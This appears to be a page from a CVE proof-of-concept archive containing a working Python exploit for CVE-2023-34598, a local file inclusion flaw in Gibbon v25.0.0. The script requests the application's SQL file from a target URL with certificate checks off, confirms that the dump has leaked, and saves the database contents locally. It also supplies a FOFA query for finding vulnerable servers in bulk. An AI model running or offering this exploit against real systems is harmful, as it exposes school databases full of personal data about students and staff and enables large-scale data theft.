4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-34598.py PY
#!/usr/bin/env python3

import os
import sys
import argparse
import requests
import re

# Suppress only the single InsecureRequestWarning from urllib3 needed
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

DESCRIPTION = """
CVE-2023-34598 - Gibbon v25.0.0 LFI Exploit
"""

FOFA_QUERY = """\
Use this FOFA query to search for potentially vulnerable targets:
  icon_hash="-165631681"
"""

# Global variables
cont = 1
default_dirname = "Gibbon_dump"


def make_dir(dirname=default_dirname):
    """
    Attempts to create the specified directory and then chdir into it.
    If the directory already exists, increments a global counter
    and retries with a new name (Gibbon_dump-2, etc.).
    """
    global cont
    try:
        os.mkdir(dirname)
        os.chdir(dirname)
    except FileExistsError:
        cont += 1
        new_name = f"{default_dirname}-{cont}"
        make_dir(new_name)


def scan_target(url):
    """
    Main logic to test the target URL for the vulnerability
    and, if found, create a directory to store the results.
    """
    if url.endswith("/"):
        url = url[:-1]

    try:
        print(f"[*] Scanning URL: {url}")
        r = requests.get(f"{url}/?q=gibbon.sql", verify=False, timeout=10)
        response_text = r.text

        # Check for SQL related patterns and Gibbon-specific tables
        gibbon_tables = ["gibbonAction", "gibbonModule", "gibbonPerson", "gibbonRole"]
        has_sql_syntax = any(pattern in response_text for pattern in ["CREATE TABLE", "INSERT INTO", "ENGINE=InnoDB"])
        has_gibbon_tables = any(table in response_text for table in gibbon_tables)
        
        if r.status_code == 200 and has_sql_syntax and has_gibbon_tables:
            print("[+] Target appears vulnerable. Saving dump...")
            make_dir()  # Create or enter output directory

            with open("!target.txt", "w") as f:
                f.write(url)

            # Extract the SQL content - find the first SQL-like line and extract from there
            sql_start_patterns = ["-- phpMyAdmin", "-- MySQL", "-- Dump", "SET SQL_MODE"]
            sql_end_patterns = ["AUTO_INCREMENT=", "COMMIT;", ");", "-- EOF"]
            
            # Find start index
            start_idx = -1
            for pattern in sql_start_patterns:
                idx = response_text.find(pattern)
                if idx != -1:
                    start_idx = idx
                    break
            
            # If no standard start found, try to find first SQL-like statement
            if start_idx == -1:
                match = re.search(r'(CREATE TABLE|SET SQL_MODE|INSERT INTO)', response_text)
                if match:
                    start_idx = match.start()
            
            # Find a reasonable end point
            end_idx = len(response_text)
            for pattern in sql_end_patterns:
                idx = response_text.rfind(pattern)
                if idx != -1:
                    # Find the end of the line containing this pattern
                    line_end = response_text.find('\n', idx)
                    if line_end != -1:
                        end_idx = min(end_idx, line_end + 1)
                    else:
                        end_idx = min(end_idx, len(response_text))
            
            if start_idx != -1:
                # Limit the end_idx to be after start_idx
                end_idx = max(end_idx, start_idx + 100)
                
                relevant_sql = response_text[start_idx:end_idx]

                with open("gibbon.sql", "w") as sql_file:
                    sql_file.write(relevant_sql)

                current_dir = os.path.basename(os.getcwd())
                print(f"[+] Database dump saved to '{current_dir}/gibbon.sql'.")
            else:
                print("[!] SQL content detected but could not locate clear start markers. Saving complete response.")
                with open("full_response.txt", "w") as f:
                    f.write(response_text)
        else:
            print("[-] Not vulnerable.")
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)


def show_fofa_query():
    """
    Prints the FOFA query that can be used to discover potential targets.
    """
    print(FOFA_QUERY)


def main():
    parser = argparse.ArgumentParser(
        description=DESCRIPTION,
        formatter_class=argparse.RawTextHelpFormatter
    )
    subparsers = parser.add_subparsers(
        title="Commands",
        dest="command",
        help="Choose one of the available commands."
    )

    # --- Subcommand: scan ---
    parser_scan = subparsers.add_parser(
        "scan",
        help="Scan a target URL for the CVE-2023-34598 vulnerability."
    )
    parser_scan.add_argument(
        "url",
        help="Base URL of the Gibbon application (e.g., https://example.com/gibbon)"
    )

    # --- Subcommand: fofa ---
    parser_fofa = subparsers.add_parser(
        "fofa",
        help="Print a FOFA query for finding vulnerable targets."
    )

    # Parse the args
    args = parser.parse_args()

    # If no command is provided, show help
    if not args.command:
        parser.print_help()
        sys.exit(0)

    # Dispatch to subcommand logic
    if args.command == "scan":
        scan_target(args.url)
    elif args.command == "fofa":
        show_fofa_query()
    else:
        parser.print_help()

if __name__ == "__main__":
    main()